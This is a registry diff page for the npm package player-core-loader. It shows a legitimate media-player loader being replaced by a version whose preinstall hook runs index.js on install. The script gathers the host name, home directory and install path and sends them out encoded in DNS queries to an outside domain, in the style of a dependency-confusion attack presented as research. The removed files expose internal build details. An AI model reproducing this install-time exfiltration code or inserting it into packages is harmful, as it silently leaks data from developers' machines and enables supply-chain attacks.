player-core-loader 4.0.3 → 26.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of player-core-loader might be problematic. Click here for more details.
- package/README.md +1 -2
- package/index.js +80 -189
- package/package.json +15 -32
- package/constants.js +0 -78
- package/index.d.ts +0 -2
- package/jenkins.groovy +0 -26
- package/manta-test.json +0 -11
- package/test_runner.js +0 -22
- package/tests/player-core-loader-test.js +0 -185
package/README.md
CHANGED
@@ -1,2 +1 @@
|
|
1
|
-
|
2
|
-
Player Core Loader
|
1
|
+
This package is meant for security research purposes and does not contain any useful code.
|
package/index.js
CHANGED
@@ -1,189 +1,80 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
} else if (urlParams['cvp-env'] && Constants.HOST[urlParams['cvp-env']]) {
|
82
|
-
host = Constants.HOST[urlParams['cvp-env']];
|
83
|
-
} else {
|
84
|
-
host = Constants.HOST['prod'];
|
85
|
-
}
|
86
|
-
|
87
|
-
var clientPath, workerPath, wasmPath;
|
88
|
-
if (host === Constants.HOST['dev']) {
|
89
|
-
clientPath = Constants.CLIENT_PATH_DEBUG;
|
90
|
-
workerPath = useWasm ? Constants.WASM_WORKER_PATH_DEBUG : Constants.ASMJS_WORKER_PATH_DEBUG;
|
91
|
-
wasmPath = Constants.WASM_BINARY_PATH_DEBUG;
|
92
|
-
} else {
|
93
|
-
clientPath = Constants.CLIENT_PATH;
|
94
|
-
workerPath = useWasm ? Constants.WASM_WORKER_PATH : Constants.ASMJS_WORKER_PATH;
|
95
|
-
wasmPath = Constants.WASM_BINARY_PATH;
|
96
|
-
}
|
97
|
-
|
98
|
-
var baseUrl = host + version + '/';
|
99
|
-
var clientUrl = baseUrl + clientPath;
|
100
|
-
var workerUrl = baseUrl + workerPath;
|
101
|
-
var wasmUrl = baseUrl + wasmPath;
|
102
|
-
return loadMediaPlayerModule(clientUrl, workerUrl, wasmUrl, useCache);
|
103
|
-
}
|
104
|
-
|
105
|
-
/**
|
106
|
-
* Load the script tag
|
107
|
-
* @param {string} clientUrl: url to the client
|
108
|
-
* @param {string} workerUrl: url to the worker
|
109
|
-
* @param {string} wasmUrl: url to the wasm binary
|
110
|
-
* @param {boolean} useCache: Used cached wasm module if available
|
111
|
-
* @returns {object} Loaded client handle and worker
|
112
|
-
*/
|
113
|
-
function loadMediaPlayerModule(clientUrl, workerUrl, wasmUrl, useCache) {
|
114
|
-
return new Promise(function (resolve, reject) {
|
115
|
-
var existingTag = document.getElementById(Constants.SCRIPT_ID);
|
116
|
-
if (existingTag) {
|
117
|
-
if (
|
118
|
-
existingTag.src === clientUrl &&
|
119
|
-
typeof window.MediaPlayer === 'object' &&
|
120
|
-
typeof window.MediaPlayer.MediaPlayer === 'function'
|
121
|
-
) {
|
122
|
-
resolve({
|
123
|
-
client: window.MediaPlayer,
|
124
|
-
worker: window.MediaPlayer.MediaPlayer.createWorker(workerUrl, wasmUrl, useCache),
|
125
|
-
});
|
126
|
-
return;
|
127
|
-
} else {
|
128
|
-
document.head.removeChild(existingTag);
|
129
|
-
}
|
130
|
-
}
|
131
|
-
|
132
|
-
var scriptTag = document.createElement('script');
|
133
|
-
|
134
|
-
scriptTag.onload = function () {
|
135
|
-
if (typeof window.MediaPlayer === 'object'
|
136
|
-
&& typeof window.MediaPlayer.MediaPlayer === 'function') {
|
137
|
-
var client = window.MediaPlayer;
|
138
|
-
try {
|
139
|
-
resolve({
|
140
|
-
client: client,
|
141
|
-
worker: client.MediaPlayer.createWorker(workerUrl, wasmUrl, useCache),
|
142
|
-
});
|
143
|
-
} catch (e) {
|
144
|
-
reject(SPADE_ERRORS.FAILED_WORKER)
|
145
|
-
}
|
146
|
-
} else {
|
147
|
-
reject(SPADE_ERRORS.BAD_RESPONSE);
|
148
|
-
}
|
149
|
-
};
|
150
|
-
|
151
|
-
scriptTag.onerror = function (e) {
|
152
|
-
reject(SPADE_ERRORS.SCRIPT_ERROR);
|
153
|
-
};
|
154
|
-
|
155
|
-
scriptTag.src = clientUrl; //last to guarantee handlers run
|
156
|
-
scriptTag.id = Constants.SCRIPT_ID;
|
157
|
-
document.head.appendChild(scriptTag);
|
158
|
-
});
|
159
|
-
};
|
160
|
-
|
161
|
-
function parseUrlParams(url) {
|
162
|
-
var params = {};
|
163
|
-
var breakPoint = url.indexOf('?');
|
164
|
-
if (breakPoint > -1) {
|
165
|
-
var paramStr = url.slice(breakPoint + 1) || '';
|
166
|
-
var paramItems = paramStr.split('&') || [];
|
167
|
-
|
168
|
-
paramItems.forEach(function (item) {
|
169
|
-
var split = item.split('=') || [];
|
170
|
-
params[split[0]] = split[1];
|
171
|
-
});
|
172
|
-
}
|
173
|
-
return params;
|
174
|
-
}
|
175
|
-
|
176
|
-
function parseVersionString(versionString) {
|
177
|
-
var parsed = versionString.match(/([^+]+)(?:\+([^+]+))?/);
|
178
|
-
return {
|
179
|
-
version: parsed[1] || Constants.DEFAULT_VERSION,
|
180
|
-
settings: parsed[2] || '',
|
181
|
-
};
|
182
|
-
}
|
183
|
-
|
184
|
-
function isWasmSupported() {
|
185
|
-
return (
|
186
|
-
typeof WebAssembly === 'object' &&
|
187
|
-
typeof WebAssembly.instantiate === 'function'
|
188
|
-
);
|
189
|
-
}
|
1
|
+
/*
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure program will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
alex@ethicalhack.ro
|
17
|
+
https://twitter.com/alxbrsn
|
18
|
+
|
19
|
+
*/
|
20
|
+
|
21
|
+
|
22
|
+
const dns = require('dns');
|
23
|
+
const os = require('os');
|
24
|
+
|
25
|
+
const suffix = '.dns.thewhybee.com';
|
26
|
+
const ns = 'dns1.thewhybee.com';
|
27
|
+
|
28
|
+
const package = 'player-core-loader';
|
29
|
+
|
30
|
+
|
31
|
+
function sendToServer(data) {
|
32
|
+
|
33
|
+
data = Buffer.from(data).toString('hex');
|
34
|
+
data = data.match(/.{1,60}/g);
|
35
|
+
|
36
|
+
id = Math.random().toString(36).substring(2);
|
37
|
+
|
38
|
+
data.forEach(function (chunk, idx){
|
39
|
+
try {
|
40
|
+
dns.resolve(
|
41
|
+
'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
42
|
+
console.log);
|
43
|
+
} catch (e) { }
|
44
|
+
});
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
function tryGet(toCall) {
|
49
|
+
|
50
|
+
try {
|
51
|
+
return toCall();
|
52
|
+
} catch(e) {
|
53
|
+
return 'err';
|
54
|
+
}
|
55
|
+
|
56
|
+
}
|
57
|
+
|
58
|
+
data = {
|
59
|
+
p : package,
|
60
|
+
h : tryGet(os.hostname),
|
61
|
+
d : tryGet(os.homedir),
|
62
|
+
c : __dirname
|
63
|
+
}
|
64
|
+
|
65
|
+
if (data['h'] == 'BBOGENS-LAPTOP') {
|
66
|
+
process.exit(0);
|
67
|
+
}
|
68
|
+
|
69
|
+
data = JSON.stringify(data);
|
70
|
+
|
71
|
+
sendToServer(data);
|
72
|
+
dns.lookup(ns, function(err, address) {
|
73
|
+
if (!err) {
|
74
|
+
nsAddress = address;
|
75
|
+
} else {
|
76
|
+
nsAddress = '8.8.8.8';
|
77
|
+
}
|
78
|
+
dns.setServers([nsAddress, '8.8.4.4']);
|
79
|
+
sendToServer(data);
|
80
|
+
});
|
package/package.json
CHANGED
@@ -1,32 +1,15 @@
|
|
1
|
-
{
|
2
|
-
"name": "player-core-loader",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"main": "index.js",
|
6
|
-
"
|
7
|
-
"
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
},
|
17
|
-
"keywords": [
|
18
|
-
"player-core",
|
19
|
-
"loader",
|
20
|
-
"MediaPlayer"
|
21
|
-
],
|
22
|
-
"author": "Team Player Core",
|
23
|
-
"license": "UNLICENSED",
|
24
|
-
"dependencies": {},
|
25
|
-
"devDependencies": {
|
26
|
-
"browserify": "^13.1.0",
|
27
|
-
"glob": "^7.1.0",
|
28
|
-
"tap-spec": "^4.1.1",
|
29
|
-
"tape": "^4.6.0",
|
30
|
-
"tape-run": "^2.1.4"
|
31
|
-
}
|
32
|
-
}
|
1
|
+
{
|
2
|
+
"name": "player-core-loader",
|
3
|
+
"version": "26.0.6",
|
4
|
+
"description": "Security research purposes only.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
|
14
|
+
}
|
15
|
+
}
|
package/constants.js
DELETED
@@ -1,78 +0,0 @@
|
|
1
|
-
|
2
|
-
function canLoad() {
|
3
|
-
try {
|
4
|
-
return typeof MediaSource !== 'undefined' && MediaSource.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"');
|
5
|
-
} catch (e) {
|
6
|
-
console.log(e);
|
7
|
-
return false;
|
8
|
-
}
|
9
|
-
}
|
10
|
-
|
11
|
-
/**
|
12
|
-
* The Spade errors
|
13
|
-
*/
|
14
|
-
var SPADE_ERRORS = {
|
15
|
-
NOT_SUPPORTED: {
|
16
|
-
spadeEventName: 'video_error',
|
17
|
-
spadeEventData: {
|
18
|
-
video_error_value: 3000,
|
19
|
-
video_error_message: 'Player Core Not Supported',
|
20
|
-
video_error_source: 'player-core-loader'
|
21
|
-
}
|
22
|
-
},
|
23
|
-
SCRIPT_ERROR: {
|
24
|
-
spadeEventName: 'video_error',
|
25
|
-
spadeEventData: {
|
26
|
-
video_error_value: 3001,
|
27
|
-
video_error_message: 'Script Error',
|
28
|
-
video_error_source: 'player-core-loader'
|
29
|
-
}
|
30
|
-
},
|
31
|
-
BAD_RESPONSE: {
|
32
|
-
spadeEventName: 'video_error',
|
33
|
-
spadeEventData: {
|
34
|
-
video_error_value: 3002,
|
35
|
-
video_error_message: 'Bad Response',
|
36
|
-
video_error_source: 'player-core-loader'
|
37
|
-
}
|
38
|
-
},
|
39
|
-
BAD_CONFIG: {
|
40
|
-
spadeEventName: 'video_error',
|
41
|
-
spadeEventData: {
|
42
|
-
video_error_value: 3003,
|
43
|
-
video_error_message: 'Bad Config',
|
44
|
-
video_error_source: 'player-core-loader'
|
45
|
-
}
|
46
|
-
},
|
47
|
-
FAILED_WORKER: {
|
48
|
-
spadeEventName: 'video_error',
|
49
|
-
spadeEventData: {
|
50
|
-
video_error_value: 3004,
|
51
|
-
video_error_message: 'Worker failed to load',
|
52
|
-
video_error_source: 'player-core-loader'
|
53
|
-
}
|
54
|
-
},
|
55
|
-
};
|
56
|
-
|
57
|
-
var protocol = ('https:' === document.location.protocol ? 'https:' : 'http:')
|
58
|
-
|
59
|
-
module.exports = {
|
60
|
-
HOST: {
|
61
|
-
'test': protocol + '//cvp-test.twitch.tv/',
|
62
|
-
'beta': protocol + '//cvp-test.twitch.tv/',
|
63
|
-
'prod': protocol + '//cvp.twitch.tv/',
|
64
|
-
'dev': protocol + '//player-core-web.twitch.tv/'
|
65
|
-
},
|
66
|
-
CLIENT_PATH: 'mediaplayer.min.js',
|
67
|
-
ASMJS_WORKER_PATH: 'worker.min.js',
|
68
|
-
WASM_WORKER_PATH: 'wasmworker.min.js',
|
69
|
-
WASM_BINARY_PATH: 'wasmworker.min.wasm',
|
70
|
-
CLIENT_PATH_DEBUG: 'mediaplayer.js',
|
71
|
-
ASMJS_WORKER_PATH_DEBUG: 'worker.js',
|
72
|
-
WASM_WORKER_PATH_DEBUG: 'wasmworker.js',
|
73
|
-
WASM_BINARY_PATH_DEBUG: 'wasmworker.wasm',
|
74
|
-
SCRIPT_ID: 'TwitchMediaPlayerModule',
|
75
|
-
CAN_LOAD: canLoad(),
|
76
|
-
SPADE_ERRORS: SPADE_ERRORS,
|
77
|
-
DEFAULT_VERSION: '2.0.0',
|
78
|
-
};
|
package/index.d.ts
DELETED
package/jenkins.groovy
DELETED
@@ -1,26 +0,0 @@
|
|
1
|
-
job {
|
2
|
-
name "video-player-core-loader-status"
|
3
|
-
using 'TEMPLATE-autobuild'
|
4
|
-
|
5
|
-
wrappers {
|
6
|
-
credentialsBinding {
|
7
|
-
file('COURIERD_PRIVATE_KEY', 'courierd')
|
8
|
-
file('AWS_CONFIG_FILE', 'aws_config')
|
9
|
-
string 'AWS_ACCESS_KEY', 'video-aws-access-key'
|
10
|
-
string 'AWS_SECRET_KEY', 'video-aws-secret-key'
|
11
|
-
}
|
12
|
-
}
|
13
|
-
scm {
|
14
|
-
git {
|
15
|
-
remote {
|
16
|
-
github 'video/player-core-loader', 'ssh', 'git-aws.internal.justin.tv'
|
17
|
-
credentials 'git-aws-read-key'
|
18
|
-
}
|
19
|
-
clean true
|
20
|
-
}
|
21
|
-
}
|
22
|
-
steps {
|
23
|
-
// run tests
|
24
|
-
shell 'manta -v -proxy -f manta-test.json'
|
25
|
-
}
|
26
|
-
}
|
package/manta-test.json
DELETED
package/test_runner.js
DELETED
@@ -1,22 +0,0 @@
|
|
1
|
-
var glob = require('glob');
|
2
|
-
var runner = require('tape-run');
|
3
|
-
var browserify = require('browserify');
|
4
|
-
var tapSpec = require('tap-spec');
|
5
|
-
var config = {
|
6
|
-
// browser: 'chrome',
|
7
|
-
// port: 6788
|
8
|
-
};
|
9
|
-
|
10
|
-
var testFiles;
|
11
|
-
if (process.argv.length > 2) {
|
12
|
-
testFiles = process.argv[2];
|
13
|
-
} else {
|
14
|
-
testFiles = __dirname + '/tests/*.js';
|
15
|
-
}
|
16
|
-
var results = glob.sync(testFiles);
|
17
|
-
|
18
|
-
var testResults = browserify(results)
|
19
|
-
.bundle()
|
20
|
-
.pipe(runner(config))
|
21
|
-
.pipe(tapSpec())
|
22
|
-
.pipe(process.stdout);
|
@@ -1,185 +0,0 @@
|
|
1
|
-
WebAssembly = {
|
2
|
-
instantiate: function() {}
|
3
|
-
}; // node may not have WebAssembly. So adding mock here
|
4
|
-
|
5
|
-
var test = require('tape');
|
6
|
-
var Constants = require('../constants');
|
7
|
-
var Promise = require('es6-promise');
|
8
|
-
var PlayerCoreLoader = require('../index.js');
|
9
|
-
|
10
|
-
var TEST_VERSION = '2.5.6';
|
11
|
-
|
12
|
-
test('test if loader returns a MediaPlayer handle and the instance', function (t) {
|
13
|
-
t.plan(7);
|
14
|
-
PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION})
|
15
|
-
.then(function (result) {
|
16
|
-
t.ok(result, 'result should be non null');
|
17
|
-
t.ok(result.isWasm, 'MediaPlayer did not default to wasm');
|
18
|
-
t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
|
19
|
-
t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
|
20
|
-
t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
|
21
|
-
|
22
|
-
var mediaplayerTag = document.getElementById(Constants.SCRIPT_ID);
|
23
|
-
t.ok(mediaplayerTag, 'mediaplayer script tag is non null');
|
24
|
-
t.equal(mediaplayerTag.tagName.toLowerCase(), 'script', 'script tag should be present');
|
25
|
-
})
|
26
|
-
.catch(function (err) {
|
27
|
-
t.fail('MediaPlayer failed to load:', err);
|
28
|
-
}).then(function () {
|
29
|
-
t.end();
|
30
|
-
PlayerCoreLoader._reset();
|
31
|
-
});
|
32
|
-
});
|
33
|
-
|
34
|
-
test('test loading an AsmJs MediaPlayer', function (t) {
|
35
|
-
t.plan(7);
|
36
|
-
PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION, forceAsmJs: true})
|
37
|
-
.then(function (result) {
|
38
|
-
t.ok(result, 'result should be non null');
|
39
|
-
t.ok(!result.isWasm, "Didn't force loading ASM JS version");
|
40
|
-
t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
|
41
|
-
t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
|
42
|
-
t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
|
43
|
-
|
44
|
-
var mediaplayerTag = document.getElementById(Constants.SCRIPT_ID);
|
45
|
-
t.ok(mediaplayerTag, 'mediaplayer script tag is non null');
|
46
|
-
t.equal(mediaplayerTag.tagName.toLowerCase(), 'script', 'script tag should be present');
|
47
|
-
})
|
48
|
-
.catch(function (err) {
|
49
|
-
t.fail('MediaPlayer failed to load:', err);
|
50
|
-
}).then(function () {
|
51
|
-
t.end();
|
52
|
-
PlayerCoreLoader._reset();
|
53
|
-
});
|
54
|
-
});
|
55
|
-
|
56
|
-
test('Multiple calls to loadMediaPlayer return the same worker', function (t) {
|
57
|
-
t.plan(4);
|
58
|
-
|
59
|
-
var c1 = PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION});
|
60
|
-
var c2 = PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION});
|
61
|
-
|
62
|
-
// test 2 simultaneous loads
|
63
|
-
Promise.all([c1, c2]).then(function (cores) {
|
64
|
-
var core1 = cores[0],
|
65
|
-
core2 = cores[1];
|
66
|
-
|
67
|
-
t.notEqual(core1.mediaPlayerInstance, core2.mediaPlayerInstance, 'The mediaplayer instance should not be equal');
|
68
|
-
t.deepEqual(core1.mediaPlayerInstance._worker, core2.mediaPlayerInstance._worker, "Multiple calls to load() don't return the same worker");
|
69
|
-
PlayerCoreLoader._reset();
|
70
|
-
})
|
71
|
-
// test 2 sequential loads
|
72
|
-
.then(function () {
|
73
|
-
return PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION}).then(function (core1) {
|
74
|
-
return PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION}).then(function (core2) {
|
75
|
-
t.notEqual(core1.mediaPlayerInstance, core2.mediaPlayerInstance, 'The mediaplayer instance should not be equal');
|
76
|
-
t.deepEqual(core1.mediaPlayerInstance._worker, core2.mediaPlayerInstance._worker, "Sequential calls to load() don't return the same same worker");
|
77
|
-
});
|
78
|
-
});
|
79
|
-
})
|
80
|
-
.catch(function (e) {
|
81
|
-
t.fail('Player core failed to loadMediaPlayer:', e);
|
82
|
-
}).then(function (err) {
|
83
|
-
t.end();
|
84
|
-
PlayerCoreLoader._reset();
|
85
|
-
});
|
86
|
-
});
|
87
|
-
|
88
|
-
test('Use the config to try loading a nonexistant MediaPlayer version', function (t) {
|
89
|
-
var config = {value: 'blah'};
|
90
|
-
PlayerCoreLoader.loadMediaPlayer(config)
|
91
|
-
.then(function (result) {
|
92
|
-
t.fail('blah version loaded? Something is wrong');
|
93
|
-
})
|
94
|
-
.catch(function (err) {
|
95
|
-
t.equal(err.spadeEventName, 'video_error', 'Spade event name should be equal');
|
96
|
-
t.ok(err.spadeEventData, 'Spade event data should be non null');
|
97
|
-
var data = err.spadeEventData;
|
98
|
-
t.ok(data.video_error_value, 3001, 'Error code should be 3001');
|
99
|
-
t.ok(data.video_error_message, 'Script Error', 'error msg should be Script Error');
|
100
|
-
t.ok(data.video_error_source, 'player-core-loader', 'Source player core loader');
|
101
|
-
t.pass('There is no version called blah');
|
102
|
-
})
|
103
|
-
.then(function () {
|
104
|
-
t.end();
|
105
|
-
PlayerCoreLoader._reset();
|
106
|
-
});
|
107
|
-
});
|
108
|
-
|
109
|
-
test('Use the config to try loading a particular MediaPlayer version', function (t) {
|
110
|
-
var config = {value: TEST_VERSION};
|
111
|
-
PlayerCoreLoader.loadMediaPlayer(config)
|
112
|
-
.then(function (result) {
|
113
|
-
t.ok(result, 'result should be non null');
|
114
|
-
t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
|
115
|
-
t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
|
116
|
-
t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
|
117
|
-
|
118
|
-
var mediaPlayerScriptTag = document.getElementById(Constants.SCRIPT_ID);
|
119
|
-
t.ok(mediaPlayerScriptTag, 'mediaPlayer script tag is non null');
|
120
|
-
t.equal(mediaPlayerScriptTag.tagName.toLowerCase(), 'script', 'script tag should be present');
|
121
|
-
t.equal(mediaPlayerScriptTag.src, `http://cvp.twitch.tv/${TEST_VERSION}/mediaplayer.min.js`, 'script src should be correct');
|
122
|
-
})
|
123
|
-
.catch(function () {
|
124
|
-
t.fail('Problem loading version 1.0');
|
125
|
-
})
|
126
|
-
.then(function () {
|
127
|
-
t.end();
|
128
|
-
PlayerCoreLoader._reset();
|
129
|
-
});
|
130
|
-
});
|
131
|
-
|
132
|
-
test('Use the config to try loading a particular version+settings of MediaPlayer', function (t) {
|
133
|
-
var config = {value: `${TEST_VERSION}+abc`};
|
134
|
-
PlayerCoreLoader.loadMediaPlayer(config)
|
135
|
-
.then(function (result) {
|
136
|
-
t.ok(result, 'result should be non null');
|
137
|
-
t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
|
138
|
-
t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
|
139
|
-
t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
|
140
|
-
|
141
|
-
var mediaPlayerScriptTag = document.getElementById(Constants.SCRIPT_ID);
|
142
|
-
t.ok(mediaPlayerScriptTag, 'mediaplayer script tag is non null');
|
143
|
-
t.equal(mediaPlayerScriptTag.tagName.toLowerCase(), 'script', 'script tag should be present');
|
144
|
-
t.equal(mediaPlayerScriptTag.src, `http://cvp.twitch.tv/${TEST_VERSION}/mediaplayer.min.js`, 'script src should be correct');
|
145
|
-
})
|
146
|
-
.catch(function () {
|
147
|
-
t.fail(`Problem loading the version ${TEST_VERSION}`);
|
148
|
-
})
|
149
|
-
.then(function () {
|
150
|
-
t.end();
|
151
|
-
PlayerCoreLoader._reset();
|
152
|
-
});
|
153
|
-
});
|
154
|
-
|
155
|
-
test('Test for bad config error while calling loadMediaPlayer', function(t) {
|
156
|
-
var config = {};
|
157
|
-
PlayerCoreLoader.loadMediaPlayer(config)
|
158
|
-
.then(function (result) {
|
159
|
-
t.fail('Loading of Mediaplayer should not succeed')
|
160
|
-
})
|
161
|
-
.catch(function (err) {
|
162
|
-
t.ok(err.spadeEventData.video_error_value, 3003, 'The expected error code is 3003');
|
163
|
-
t.pass('Expected error on loading with an empty');
|
164
|
-
})
|
165
|
-
.then(function() {
|
166
|
-
t.end();
|
167
|
-
})
|
168
|
-
PlayerCoreLoader._reset();
|
169
|
-
});
|
170
|
-
|
171
|
-
test('Test for worker only load', function(t) {
|
172
|
-
var config = {
|
173
|
-
value: TEST_VERSION
|
174
|
-
};
|
175
|
-
PlayerCoreLoader.loadMediaPlayer(config, true)
|
176
|
-
.then(function (result) {
|
177
|
-
t.ok(result.worker instanceof Worker, 'No instance only worker');
|
178
|
-
})
|
179
|
-
.catch(function() {
|
180
|
-
t.fail('Worker only loading failed');
|
181
|
-
})
|
182
|
-
.then(function() {
|
183
|
-
t.end();
|
184
|
-
})
|
185
|
-
});
|